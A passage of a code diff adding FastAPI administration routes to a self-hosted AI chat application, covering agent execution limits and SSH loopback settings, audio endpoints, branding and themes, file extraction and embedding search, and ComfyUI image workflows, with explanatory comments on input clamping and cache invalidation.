+    background_notify: bool = Form(False),
+    background_max_jobs: int = Form(5),
+) -> Response:
+    settings_store.update(
+        db,
+        {
+            "enabled": enabled,
+            # Anything unrecognised means off, here as well as on read: the one
+            # direction safe to get wrong is refusing a connection somebody has
+            # to re-allow, and the other is a shell on this host.
+            "loopback": loopback if loopback in hosts.MODES else hosts.MODE_OFF,
+            # Zero means "none named", which is what `port` needs in order to
+            # refuse rather than to allow. 22 is refused wherever it is stored.
+            "loopback_port": loopback_port if 1 <= loopback_port <= 65535 else 0,
+            # Clamped here as well as on read. A number with no bound is a way
+            # to break the instance from a form, which is the same reasoning
+            # the search settings carry.
+            "default_timeout": min(max(default_timeout, 1), 3600),
+            "max_timeout": min(max(max_timeout, 1), 3600),
+            "max_output_bytes": min(max(max_output_bytes, 1024), 1024 * 1024),
+            "max_steps": min(max(max_steps, 1), 1000),
+            "max_wall_seconds": min(max(max_wall_seconds, 30), 7200),
+            "max_total_output_bytes": min(max(max_total_output_bytes, 4096), 8 * 1024 * 1024),
+            # Floor of 0, not 1: zero is how "no ceiling" is said.
+            "max_completion_tokens": min(max(max_completion_tokens, 0), 5_000_000),
+            "approval_timeout": min(max(approval_timeout, 60), 3600),
+            "allow_default": _lines(allow_default),
+            "deny_default": _lines(deny_default),
+            "ask_free_text": ask_free_text,
+            "terminal_enabled": terminal_enabled,
+            "terminal_idle_timeout": min(max(terminal_idle_timeout, 60), 86400),
+            "terminal_max_sessions": min(max(terminal_max_sessions, 1), 500),
+            "terminal_max_per_user": min(max(terminal_max_per_user, 1), 50),
+            "terminal_integration": terminal_integration,
+            "index_enabled": index_enabled,
+            # Zero is kept rather than clamped up: it means "list the
+            # directory for the file picker but put none of it in the
+            # prompt", which nothing else can say.
+            "index_chars": min(max(index_chars, 0), 20_000),
+            "instructions_enabled": instructions_enabled,
+            "instructions_chars": min(max(instructions_chars, 0), 20_000),
+            "nudge_unfinished": nudge_unfinished,
+            "background_enabled": background_enabled,
+            "background_on_timeout": background_on_timeout,
+            "background_notify": background_notify,
+            "background_max_jobs": min(max(background_max_jobs, 1), 100),
+        },
+        key=settings_store.AGENTS,
+    )
+    log.info("agent execution %s by %s", "enabled" if enabled else "disabled", user.email)
+    if loopback != hosts.MODE_OFF:
+        log.warning(
+            "ssh connections to this machine allowed (%s%s) by %s",
+            loopback,
+            f", port {loopback_port}" if loopback == hosts.MODE_PORT else "",
+            user.email,
+        )
+    return RedirectResponse("/admin/agents?saved=1", status_code=status.HTTP_303_SEE_OTHER)

src/lembas/api/admin_audio.py

@@ -0,0 +1,187 @@
+"""Audio administration: the transcription and speech endpoints."""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+
+from lembas.api.deps import AdminUser, Db
+from lembas.services import audio as audio_service
+from lembas.services import settings_store
+from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
+from lembas.services.llm.openai_client import LLMError
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/audio", tags=["admin-audio"])
+
+# Read out by the speech test. Short, and the one line this project would pick.
+TEST_PHRASE = "Speak, friend, and enter."
+
+
+def _page_context(db: Db) -> dict:
+    config = settings_store.audio(db)
+    return {
+        "values": config,
+        "formats": audio_service.FORMATS,
+        "masked": {
+            "stt": mask(decrypt(config.get("stt_api_key_encrypted") or "")),
+            "tts": mask(decrypt(config.get("tts_api_key_encrypted") or "")),
+        },
+        "unchanged": UNCHANGED_SENTINEL,
+    }
+
+
+@router.get("")
+async def audio_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
+    from lembas.api.audio import available_voices
+
+    context = _page_context(db)
+    voices, error = await available_voices(context["values"])
+    return render(
+        request,
+        "admin/audio.html",
+        {**context, "voices": voices, "voice_error": error, "saved": saved},
+    )
+
+
+@router.post("")
+async def save_audio(
+    db: Db,
+    user: AdminUser,
+    stt_enabled: bool = Form(False),
+    stt_base_url: str = Form(""),
+    stt_api_key: str = Form(""),
+    stt_model: str = Form(""),
+    stt_language: str = Form(""),
+    tts_enabled: bool = Form(False),
+    tts_base_url: str = Form(""),
+    tts_api_key: str = Form(""),
+    tts_model: str = Form(""),
+    tts_voice: str = Form(""),
+    tts_format: str = Form("mp3"),
+    tts_speed: float = Form(1.0),
+    tts_autoplay: bool = Form(False),
+) -> Response:
+    """Save both endpoints.
+
+    Unchecked checkboxes are absent from a form post, which is why every toggle
+    defaults to False here -- that absence *is* the "off" signal.
+    """
+    current = settings_store.audio(db)
+
+    settings_store.update(
+        db,
+        {
+            "stt_enabled": stt_enabled,
+            "stt_base_url": stt_base_url.strip().rstrip("/"),
+            "stt_api_key_encrypted": keep_or_replace(
+                stt_api_key, current.get("stt_api_key_encrypted") or ""
+            ),
+            "stt_model": stt_model.strip() or "whisper-1",
+            "stt_language": stt_language.strip()[:16],
+            "tts_enabled": tts_enabled,
+            "tts_base_url": tts_base_url.strip().rstrip("/"),
+            "tts_api_key_encrypted": keep_or_replace(
+                tts_api_key, current.get("tts_api_key_encrypted") or ""
+            ),
+            "tts_model": tts_model.strip() or "tts-1",
+            "tts_voice": tts_voice.strip()[:120],
+            "tts_format": tts_format if tts_format in audio_service.FORMATS else "mp3",
+            "tts_speed": min(max(tts_speed, 0.25), 4.0),
+            "tts_autoplay": tts_autoplay,
+        },
+        key=settings_store.AUDIO,
+    )
+
+    # The voice list belongs to whatever URL was configured before; keeping it
+    # would show the previous server's voices against the new one.
+    audio_service.forget_voices()
+    log.info("audio settings saved by %s", user.email)
+    return RedirectResponse("/admin/audio?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/test/{side}")
+async def test_audio(request: Request, db: Db, user: AdminUser, side: str):
+    """Contact one of the two endpoints and report what happened.
+
+    Speech is tested by synthesising a phrase and measuring the bytes back;
+    transcription by sending a short generated tone, which is *expected* to come
+    back as no words at all. That still proves what matters -- the URL resolves,
+    the key is accepted and the response parses.
+    """
+    context = _page_context(db)
+    config = context["values"]
+    message, kind = "", "success"
+
+    try:
+        if side == "tts":
+            _, stream = await audio_service.speak(
+                audio_service.endpoint_for(config, "tts"),
+                TEST_PHRASE,
+                model=config.get("tts_model") or "tts-1",
+                voice=config.get("tts_voice") or "",
+                fmt=config.get("tts_format") or "mp3",
+                speed=float(config.get("tts_speed") or 1.0),
+            )
+            size = 0
+            async for chunk in stream:
+                size += len(chunk)
+            message = f"Spoke the test phrase: {size:,} bytes of audio."
+        elif side == "stt":
+            text = await audio_service.transcribe(
+                audio_service.endpoint_for(config, "stt"),
+                data=_silent_wav(),
+                filename="test.wav",
+                content_type="audio/wav",
+                model=config.get("stt_model") or "whisper-1",
+                language=config.get("stt_language") or "",
+            )
+            heard = f'Heard "{text}".' if text else "Heard nothing, as expected."
+            message = f"The endpoint answered. {heard}"
+        else:
+            message, kind = "Unknown endpoint.", "error"
+    except LLMError as exc:
+        message, kind = exc.message, "error"
+
+    voices, voice_error = [], ""
+    if side == "tts":
+        from lembas.api.audio import available_voices
+
+        voices, voice_error = await available_voices(config, refresh=True)
+
+    return render(
+        request,
+        "admin/_audio_result.html",
+        {
+            "side": side,
+            "message": message,
+            "message_kind": kind,
+            "voices": voices,
+            "voice_error": voice_error,
+            "values": config,
+        },
+    )
+
+
+def _silent_wav(seconds: float = 0.5, rate: int = 16000) -> bytes:
+    """A valid, silent WAV.
+
+    Generated rather than committed: half a second of silence is fourteen lines
+    of header arithmetic, and a binary fixture in the repository would be one
+    more thing nobody can review.
+    """
+    import struct
+
+    frames = int(rate * seconds)
+    data = b"\x00\x00" * frames
+    header = struct.pack(
+        "<4sI4s4sIHHIIHH4sI",
+        b"RIFF", 36 + len(data), b"WAVE",
+        b"fmt ", 16, 1, 1, rate, rate * 2, 2, 16,
+        b"data", len(data),
+    )
+    return header + data

src/lembas/api/admin_branding.py

@@ -0,0 +1,225 @@
+"""Making an instance somebody else's.
+
+One page, four cards, one settings group. Everything it writes goes through
+`branding.stored_only`, so a field left at its shipped wording is never written
+down and a later release can still improve it — the prompt-fragment rule, and
+the reason this page can afford to render every flavour string as an editable
+box without freezing all of them the first time somebody presses Save.
+
+`branding.forget()` after every write, and this is the only module that calls
+it. The snapshot is a process-level cache read by a Jinja global; a save that
+did not drop it would take effect on the next restart, which is the shape of
+failure this codebase keeps cataloguing.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, File, Form, Request, Response, UploadFile, status
+from fastapi.responses import RedirectResponse
+
+from lembas.api.deps import AdminUser, Db
+from lembas.services import branding as branding_service
+from lembas.services import settings_store, uploads
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/customization", tags=["admin-branding"])
+
+MAX_CUSTOM_CSS = 40_000
+
+# How many custom themes an instance may keep. Not a design limit -- there is
+# nothing in `theme_css` that cares -- but the whole set lives in one settings
+# row read into a process-level snapshot on every render, and the page offers a
+# blank block whenever there is room, so *some* number has to say when to stop
+# offering. Twelve is far past what anybody wants and small enough that the
+# stylesheet stays a stylesheet.
+MAX_THEMES = 12
+
+
+def _page(request: Request, db: Db, saved: str = "", error: str = "") -> Response:
+    values = settings_store.get_group(db, branding_service.BRANDING)
+    brand = branding_service.for_db(db)
+    return render(
+        request,
+        "admin/customization.html",
+        {
+            "values": values,
+            "current": brand,
+            # The flavour table drives the form, so a string added in code
+            # appears here with its default in the box and no template change.
+            "flavour": [
+                {
+                    "key": key,
+                    "label": label,
+                    "hint": hint,
+                    "default": default,
+                    "value": str(values.get(f"text_{key}") or ""),
+                }
+                for key, (label, hint, default) in branding_service.FLAVOUR.items()
+            ],
+            "tokens": branding_service.THEME_TOKENS,
+            "custom_themes": [t for t in brand.themes if not t.built_in],
+            "bases": [name for name, _, _ in branding_service.BUILT_IN],
+            "max_themes": MAX_THEMES,
+            "saved": saved,
+            "error": error,
+        },
+    )
+
+
+@router.get("")
+async def customization_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
+    return _page(request, db, saved=saved)
+
+
+def _write(db: Db, changes: dict) -> None:
+    """Store a change and drop the cache, in that order and always together."""
+    settings_store.update(db, changes, key=branding_service.BRANDING)
+    branding_service.forget()
+
+
+@router.post("/identity")
+async def save_identity(
+    request: Request,
+    db: Db,
+    user: AdminUser,
+    instance_name: str = Form(""),
+    tagline: str = Form(""),
+    logo: UploadFile | None = File(None),
+    favicon: UploadFile | None = File(None),
+    remove_logo: bool = Form(False),
+    remove_favicon: bool = Form(False),
+) -> Response:
+    stored = settings_store.get_group(db, branding_service.BRANDING)
+    changes: dict = {
+        "instance_name": instance_name.strip()[:120],
+        "tagline": tagline.strip()[:200],
+    }
+
+    if remove_logo:
+        for name in (stored.get("logo_path"), *(stored.get("icon_paths") or {}).values()):
+            uploads.delete_branding_image(str(name or ""))
+        changes["logo_path"] = ""
+        changes["icon_paths"] = {}
+    if remove_favicon:
+        uploads.delete_branding_image(str(stored.get("favicon_path") or ""))
+        changes["favicon_path"] = ""
+
+    try:
+        if logo is not None and logo.filename:
+            payload = await logo.read()
+            changes["logo_path"] = uploads.save_branding_image(payload, logo.content_type or "")
+            # Derived here rather than on demand: a launcher asks for a 512px
+            # PNG and will not scale one itself, and doing it per request would
+            # mean resizing an image on the path that serves it.
+            changes["icon_paths"] = uploads.derive_icons(payload)
+        if favicon is not None and favicon.filename:
+            payload = await favicon.read()
+            changes["favicon_path"] = uploads.save_branding_image(
+                payload, favicon.content_type or ""
+            )
+    except uploads.UploadError as exc:
+        return _page(request, db, error=str(exc))
+
+    _write(db, branding_service.stored_only(changes))
+    log.info("branding identity changed by %s", user.email)
+    return RedirectResponse(
+        "/admin/customization?saved=Identity+saved.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/flavour")
+async def save_flavour(request: Request, db: Db, user: AdminUser) -> Response:
+    """The Middle-earth strings.
+
+    Read from the raw form rather than declared as parameters, because the set
+    is `branding.FLAVOUR` and a parameter list would be a second copy of it that
+    goes stale the first time a string is added. A key that was not submitted is
+    left alone; one submitted empty falls back to its default, which is what
+    makes "clear the box" mean "give me the shipped wording back" rather than
+    "show nothing here".
+    """
+    form = await request.form()
+    changes = {
+        f"text_{key}": str(form.get(f"text_{key}") or "").strip()[:400]
+        for key in branding_service.FLAVOUR
+        if f"text_{key}" in form
+    }
+    _write(db, branding_service.stored_only(changes))
+    return RedirectResponse(
+        "/admin/customization?saved=Wording+saved.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/css")
+async def save_css(db: Db, user: AdminUser, custom_css: str = Form("")) -> Response:
+    _write(db, {"custom_css": custom_css.strip()[:MAX_CUSTOM_CSS]})
+    log.info("custom CSS changed by %s", user.email)
+    return RedirectResponse(
+        "/admin/customization?saved=Stylesheet+saved.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/themes")
+async def save_themes(request: Request, db: Db, user: AdminUser) -> Response:
+    """Every custom theme, replaced wholesale.
+
+    One form for the lot rather than a row each, because a theme is a handful of
+    colours and the whole set fits on a screen — and because replacing the list
+    means a theme removed here is gone, with no reconciliation between what was
+    posted and what was stored.
+
+    Nothing is validated here beyond shape. `branding._theme_from` validates on
+    every **read**, so a theme written straight into the settings table by hand,
+    or stored by an earlier version, still has to produce a stylesheet that
+    parses. Validating only on save would put that guarantee in the wrong place.
+
+    The indices need not be contiguous and are not renumbered. The page renders
+    one block per theme plus a blank one, so clearing an id in the middle leaves
+    a gap -- and a gap is simply an index with no id, which the loop already
+    skips. Renumbering would be work in aid of nothing.
+    """
+    form = await request.form()
+    themes = []
+    for index in range(_theme_count(form)):
+        theme_id = str(form.get(f"theme_{index}_id") or "").strip().lower()
+        if not theme_id:
+            continue
+        themes.append(
+            {
+                "id": theme_id,
+                "label": str(form.get(f"theme_{index}_label") or "").strip(),
+                "base": str(form.get(f"theme_{index}_base") or "moria"),
+                "tokens": {
+                    name: value
+                    for name, _ in branding_service.THEME_TOKENS
+                    if (value := str(form.get(f"theme_{index}_{name}") or "").strip())
+                },
+            }
+        )
+    # Enforced here as well as in the template, because the template's job is to
+    # stop offering and this one's is to stop accepting -- a crafted POST is not
+    # the page.
+    themes = themes[:MAX_THEMES]
+    _write(db, {"themes": themes})
+    log.info("%d custom theme(s) saved by %s", len(themes), user.email)
+    return RedirectResponse(
+        "/admin/customization?saved=Themes+saved.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+def _theme_count(form) -> int:
+    """How many theme blocks the form carried.
+
+    Counted from the submitted keys rather than from a hidden field, so a form
+    rendered by an older page still saves what it holds.
+    """
+    indices = [
+        int(key.split("_")[1])
+        for key in form
+        if key.startswith("theme_") and key.split("_")[1].isdigit()
+    ]
+    return max(indices) + 1 if indices else 0

src/lembas/api/admin_extraction.py

@@ -0,0 +1,200 @@
+"""What happens to a file between the upload and the model, and how it is found.
+
+Two halves on one page because they are two ends of the same pipeline: what gets
+extracted decides what there is to search, and the search settings decide what
+becomes of it. Splitting them would mean an administrator setting a 300-page PDF
+limit on one screen and wondering on another why half a book is missing from the
+index.
+
+Every save drops `files.forget()`, and this is the only module that calls it —
+the same discipline `admin_branding` has with the branding snapshot, and for the
+same reason: a process-level cache whose save does not drop it is a setting that
+takes effect at the next restart.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import select
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import Connection, Model
+from lembas.services import files as files_service
+from lembas.services import settings_store
+from lembas.services.library import indexing
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/extraction", tags=["admin-extraction"])
+
+
+def _embedding_models(db: Db) -> list[Model]:
+    """Models an administrator has marked as producing embeddings.
+
+    Filtered rather than listed in full, the same shape `/admin/images` uses for
+    its reviewer: a chat model in this picker is a setting that looks configured
+    and fails on the first request, which is the shape of failure this codebase
+    keeps cataloguing.
+    """
+    return [
+        model
+        for model in db.scalars(
+            select(Model).join(Connection).order_by(Model.position, Model.model_id)
+        )
+        if (model.capabilities_json or {}).get("embeddings")
+    ]
+
+
+def _lines(text: str) -> list[str]:
+    return [line.strip() for line in (text or "").splitlines() if line.strip()]
+
+
+@router.get("")
+async def extraction_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
+    values = settings_store.extraction(db)
+    models = _embedding_models(db)
+    return render(
+        request,
+        "admin/extraction.html",
+        {
+            "values": values,
+            "extensions_text": "\n".join(values.get("extra_text_extensions") or []),
+            "models": models,
+            # A model that was chosen and has since lost its flag, or its
+            # connection. Named rather than silently dropped from the picker:
+            # a setting that vanishes is one nobody can tell from one that was
+            # never made.
+            "missing_model": (
+                values["embedding_model_id"]
+                if values["embedding_model_id"]
+                and values["embedding_model_id"] not in {m.model_id for m in models}
+                else ""
+            ),
+            "ready": indexing.enabled(db),
+            "counts": indexing.counts(db),
+            "progress": indexing.progress(),
+            "saved": saved,
+        },
+    )
+
+
+@router.post("")
+async def save_extraction(
+    db: Db,
+    user: AdminUser,
+    max_upload_mb: int = Form(20),
+    max_image_edge: int = Form(1400),
+    jpeg_quality: int = Form(85),
+    max_pdf_pages: int = Form(300),
+    max_extracted_chars: int = Form(120_000),
+    orphan_hours: int = Form(24),
+    extra_text_extensions: str = Form(""),
+    reject_unreadable_pdf: bool = Form(False),
+) -> Response:
+    settings_store.update(
+        db,
+        {
+            # Clamped here as well as on read, for the reason the agent settings
+            # give: a number with no bound is a way to break the instance from
+            # a form.
+            "max_upload_mb": min(max(max_upload_mb, 1), 512),
+            "max_image_edge": min(max(max_image_edge, 128), 8192),
+            "jpeg_quality": min(max(jpeg_quality, 30), 100),
+            "max_pdf_pages": min(max(max_pdf_pages, 1), 5000),
+            "max_extracted_chars": min(max(max_extracted_chars, 1000), 5_000_000),
+            "orphan_hours": min(max(orphan_hours, 1), 8760),
+            "extra_text_extensions": _lines(extra_text_extensions),
+            "reject_unreadable_pdf": reject_unreadable_pdf,
+        },
+        key=settings_store.EXTRACTION,
+    )
+    files_service.forget()
+    log.info("extraction settings changed by %s", user.email)
+    return RedirectResponse(
+        "/admin/extraction?saved=Extraction+saved.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/search")
+async def save_search(
+    db: Db,
+    user: AdminUser,
+    embedding_model_id: str = Form(""),
+    chunk_chars: int = Form(1200),
+    chunk_overlap: int = Form(150),
+    embed_batch: int = Form(16),
+) -> Response:
+    """The semantic half.
+
+    Its own form and its own route, because the two halves have different
+    consequences: changing a chunk size invalidates every vector already stored,
+    and changing an upload limit does not. Keeping them apart is what lets the
+    page say so beside the control that does it.
+    """
+    before = settings_store.extraction(db)
+    settings_store.update(
+        db,
+        {
+            "embedding_model_id": embedding_model_id.strip()[:300],
+            "chunk_chars": min(max(chunk_chars, 200), 8000),
+            "chunk_overlap": max(chunk_overlap, 0),
+            "embed_batch": min(max(embed_batch, 1), 256),
+        },
+        key=settings_store.EXTRACTION,
+    )
+    files_service.forget()
+
+    # Changing the model changes the vector space, so what is stored stops
+    # meaning anything against a new query. Nothing is deleted -- the scorer
+    # already skips a width that does not match the query's, so a stale index is
+    # ignored rather than trusted -- but a rebuild is what makes it useful
+    # again, and offering it here is cheaper than leaving somebody to notice.
+    changed = before["embedding_model_id"] != embedding_model_id.strip()
+    message = "Search+saved."
+    if changed and embedding_model_id.strip():
+        message = "Search+saved.+Rebuild+the+index+to+use+the+new+model."
+    log.info("embedding model set to %r by %s", embedding_model_id, user.email)
+    return RedirectResponse(
+        f"/admin/extraction?saved={message}", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/rebuild")
+async def rebuild(request: Request, db: Db, user: AdminUser) -> Response:
+    """Start a rebuild, and answer with the progress card.
+
+    A background task rather than a request that waits: embedding a library of a
+    few thousand records is minutes of HTTP round trips, and a page that hangs
+    for that long is one somebody reloads, which starts a second one.
+    """
+    started = indexing.start_rebuild()
+    if started:
+        log.info("index rebuild started by %s", user.email)
+    return render(
+        request,
+        "admin/_index_progress.html",
+        {"progress": indexing.progress(), "counts": indexing.counts(db), "ready": True},
+    )
+
+
+@router.get("/progress")
+async def rebuild_progress(request: Request, db: Db, user: AdminUser) -> Response:
+    """Polled while a rebuild runs. Stops polling itself when it finishes.
+
+    Polled rather than streamed for the reason `/api/chats/unread` is: this is
+    one small fragment on one page, and an SSE stream for it would be a second
+    streaming path to keep correct.
+    """
+    return render(
+        request,
+        "admin/_index_progress.html",
+        {
+            "progress": indexing.progress(),
+            "counts": indexing.counts(db),
+            "ready": indexing.enabled(db),
+        },
+    )

src/lembas/api/admin_images.py

@@ -0,0 +1,462 @@
+"""Image generation administration: the ComfyUI, and the workflows to run on it.
+
+Two shapes on one nav entry, because they are two different kinds of thing. The
+connection, the checkpoints and the switches are instance settings and get a
+settings page. A workflow is an authored document with a name, a description and
+a body, so the workflows are list-plus-detail -- the shape `CLAUDE.md` requires
+of any admin list, and for the reason it gives: a page that renders a ten-line
+JSON textarea per row is unusable at three rows.
+
+Route order matters and is not alphabetical. `/admin/images/workflows/new` is
+registered before `/admin/images/workflows/{workflow_id}`, or "new" is captured
+as an id and 404s. That has already been a bug twice here.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import re
+from datetime import UTC, datetime
+from typing import Any
+
+from fastapi import APIRouter, Form, HTTPException, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, select
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import ImageWorkflow, Model
+from lembas.services import settings_store
+from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
+from lembas.services.images import comfy
+from lembas.services.images import workflow as workflow_service
+from lembas.services.llm.openai_client import LLMError
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/images", tags=["admin-images"])
+
+SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,47}$")
+
+# The placeholders a workflow has to carry to be worth having. Without a prompt
+# it draws the same picture whatever anybody types, which is the one failure
+# somebody would not think to look for.
+REQUIRED_PLACEHOLDERS = ("prompt",)
+
+
+def _lines(text: str) -> list[str]:
+    """One name per line, blanks dropped. The `admin_agents` pattern."""
+    seen: list[str] = []
+    for line in (text or "").splitlines():
+        name = line.strip()
+        if name and name not in seen:
+            seen.append(name)
+    return seen
+
+
+def _number(raw: str, name: str, *, whole: bool = True) -> Any:
+    """A filled box as a clamped number, an empty one as "".
+
+    The empty string is load-bearing and is not a missing value: it is how an
+    administrator says "no opinion about this one", which `workflow.resolve`
+    reads as "fall through to the built-in floor". Turning it into a zero here
+    would silently set every instance to zero steps.
+    """
+    text = (raw or "").strip()
+    if not text:
+        return ""
+    try:
+        value = float(text)
+    except ValueError:
+        return ""
+    low, high = workflow_service.LIMITS.get(name, (None, None))
+    if low is not None:
+        value = min(max(value, low), high)
+    return int(value) if whole else value
+
+
+def _config(db: Db) -> comfy.Config:
+    values = settings_store.images(db)
+    return comfy.Config(
+        base_url=str(values.get("base_url") or ""),
+        api_key=decrypt(str(values.get("api_key_encrypted") or "")),
+        timeout=30.0,
+    )
+
+
+def _page(request: Request, db: Db, **extra) -> Response:
+    values = settings_store.images(db)
+    workflows = list(
+        db.scalars(select(ImageWorkflow).order_by(ImageWorkflow.position, ImageWorkflow.slug))
+    )
+    return render(
+        request,
+        "admin/images.html",
+        {
+            "values": values,
+            "workflows": workflows,
+            # Only models an administrator has marked as having vision can
+            # review, so the picker offers those and nothing else -- a list
+            # including text-only models would be a list of choices that
+            # silently do nothing.
+            "vision_models": list(
+                db.scalars(
+                    select(Model)
+                    .where(Model.enabled.is_(True))
+                    .order_by(Model.position, Model.model_id)
+                )
+            ),
+            "checkpoints_text": "\n".join(values.get("checkpoints") or []),
+            "masked": mask(decrypt(values.get("api_key_encrypted") or "")),
+            "unchanged": UNCHANGED_SENTINEL,
+            **extra,
+        },
+    )
+
+
+@router.get("")
+async def images_page(request: Request, db: Db, user: AdminUser, saved: str = "") -> Response:
+    return _page(request, db, saved=saved)
+
+
+@router.post("")
+async def save_images(
+    request: Request,
+    db: Db,
+    user: AdminUser,
+    enabled: bool = Form(False),
+    base_url: str = Form(""),
+    api_key: str = Form(""),
+    timeout: float = Form(600.0),
+    checkpoints: str = Form(""),
+    default_workflow_id: str = Form(""),
+    review_enabled: bool = Form(False),
+    review_model_id: str = Form(""),
+    max_tries: int = Form(4),
+    preserve_vram: bool = Form(False),
+    instructions: str = Form(""),
+    # The generation defaults. Every one is a *string* even where it is a
+    # number, because "" is how an administrator says "no opinion" and an
+    # `int = Form(0)` cannot express that -- zero steps is a value, and one
+    # somebody could mean. `_number` below turns a filled box into a clamped
+    # number and an empty one back into "".
+    default_checkpoint: str = Form(""),
+    default_steps: str = Form(""),
+    default_cfg: str = Form(""),
+    default_width: str = Form(""),
+    default_height: str = Form(""),
+    default_sampler: str = Form(""),
+    default_scheduler: str = Form(""),
+    default_denoise: str = Form(""),
+    default_negative: str = Form(""),
+    default_batch: str = Form(""),
+) -> Response:
+    """Save the settings.
+
+    Every toggle defaults to False because an unticked checkbox is simply absent
+    from a form post -- that absence *is* the off signal, the rule
+    `admin_audio` states.
+
+    The discovered sampler and scheduler lists are deliberately not submitted
+    and not cleared here: they belong to whatever ComfyUI was tested, and a save
+    that only changed the instructions box has no opinion about them.
+    """
+    current = settings_store.images(db)
+    settings_store.update(
+        db,
+        {
+            "enabled": enabled,
+            "base_url": base_url.strip().rstrip("/"),
+            "api_key_encrypted": keep_or_replace(
+                api_key, current.get("api_key_encrypted") or ""
+            ),
+            "timeout": min(max(timeout, 10.0), 3600.0),
+            "checkpoints": _lines(checkpoints),
+            "default_workflow_id": default_workflow_id.strip(),
+            "review_enabled": review_enabled,
+            "review_model_id": review_model_id.strip(),
+            "max_tries": min(max(max_tries, 1), 10),
+            "preserve_vram": preserve_vram,
+            "instructions": instructions.strip()[:4000],
+            # Clamped here to the same bounds `workflow.LIMITS` uses on the way
+            # out. Twice, deliberately: a number stored by an earlier version,
+            # or written straight into the settings row, still has to be safe
+            # when a generation reads it.
+            "default_checkpoint": default_checkpoint.strip(),
+            "default_steps": _number(default_steps, "steps"),
+            "default_cfg": _number(default_cfg, "cfg", whole=False),
+            "default_width": _number(default_width, "width"),
+            "default_height": _number(default_height, "height"),
+            "default_sampler": default_sampler.strip(),
+            "default_scheduler": default_scheduler.strip(),
+            "default_denoise": _number(default_denoise, "denoise", whole=False),
+            "default_negative": default_negative.strip()[:500],
+            "default_batch": _number(default_batch, "batch"),
+        },
+        key=settings_store.IMAGES,
+    )
+    log.info("image generation %s by %s", "enabled" if enabled else "disabled", user.email)
+    return RedirectResponse(
+        "/admin/images?saved=Saved.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/test")
+async def test_images(request: Request, db: Db, user: AdminUser) -> Response:
+    """Ask ComfyUI what it can do, and remember the answer.
+
+    Against the *saved* settings rather than the unsaved form, so what is tested
+    is what a chat would actually reach -- the same rule `/admin/search/test`
+    follows.
+
+    The lists are stored rather than only shown, because the request path may
+    never ask ComfyUI anything: `harness.context_variables` is synchronous and
+    the tool schema is built per request, so both read what this button wrote.
+    """
+    config = _config(db)
+    if not config.configured:
+        return render(
+            request,
+            "admin/_images_result.html",
+            {"message": "Set a base URL first.", "message_kind": "error"},
+        )
+    try:
+        checkpoints, samplers, schedulers = await comfy.discover(config)
+    except LLMError as exc:
+        return render(
+            request,
+            "admin/_images_result.html",
+            {"message": exc.message, "message_kind": "error"},
+        )
+
+    stored = settings_store.images(db)
+    changes: dict = {"samplers": samplers, "schedulers": schedulers}
+    # The checkpoint list is filled in only when nobody has one yet, for the
+    # reason a refreshed connection does not overwrite a context length an
+    # administrator typed: they are usually narrowing it deliberately.
+    if not stored.get("checkpoints"):
+        changes["checkpoints"] = checkpoints
+    settings_store.update(db, changes, key=settings_store.IMAGES)
+
+    found = (
+        f"Found {len(checkpoints)} checkpoint{'' if len(checkpoints) == 1 else 's'}, "
+        f"{len(samplers)} samplers and {len(schedulers)} schedulers."
+    )
+    return render(
+        request,
+        "admin/_images_result.html",
+        {
+            "message": found,
+            "message_kind": "success",
+            "checkpoints": checkpoints,
+            "kept": bool(stored.get("checkpoints")),
+        },
+    )
+
+
+# --- Workflows -----------------------------------------------------------------
+def _workflow(db: Db, workflow_id: str) -> ImageWorkflow:
+    row = db.get(ImageWorkflow, workflow_id)
+    if row is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That workflow no longer exists.")
+    return row
+
+
+def _placeholder_help(db: Db) -> list[tuple[str, str, str, str]]:
+    """Every placeholder, what it fills, and what it resolves to *today*.
+
+    The last column is the point. A legend listing names answers "what may I
+    write"; the question somebody actually has, standing in front of a workflow
+    that came out wrong, is "what happens if I leave this out" -- and the answer
+    moved the day instance defaults arrived. Resolved through the same call a
+    generation makes, so the two cannot disagree.
+    """
+    resolved = workflow_service.resolve({}, settings=settings_store.images(db))
+    out: list[tuple[str, str, str, str]] = []
+    for name in workflow_service.PLACEHOLDERS:
+        kind, what = workflow_service.DESCRIPTIONS.get(name, ("text", ""))
+        if name == "prompt":
+            shown = "whatever is asked for"
+        elif name == "seed":
+            shown = "a fresh random one"
+        elif name == "model":
+            shown = str(resolved.get("model") or "") or "the first checkpoint listed"
+        else:
+            shown = str(resolved.get(name, ""))
+        out.append((name, kind, what, shown))
+    return out
+
+
+def _detail(
+    request: Request, db: Db, row: ImageWorkflow, *, is_new: bool, error: str = "", **extra
+):
+    return render(
+        request,
+        "admin/workflow_detail.html",
+        {
+            "workflow": row,
+            "is_new": is_new,
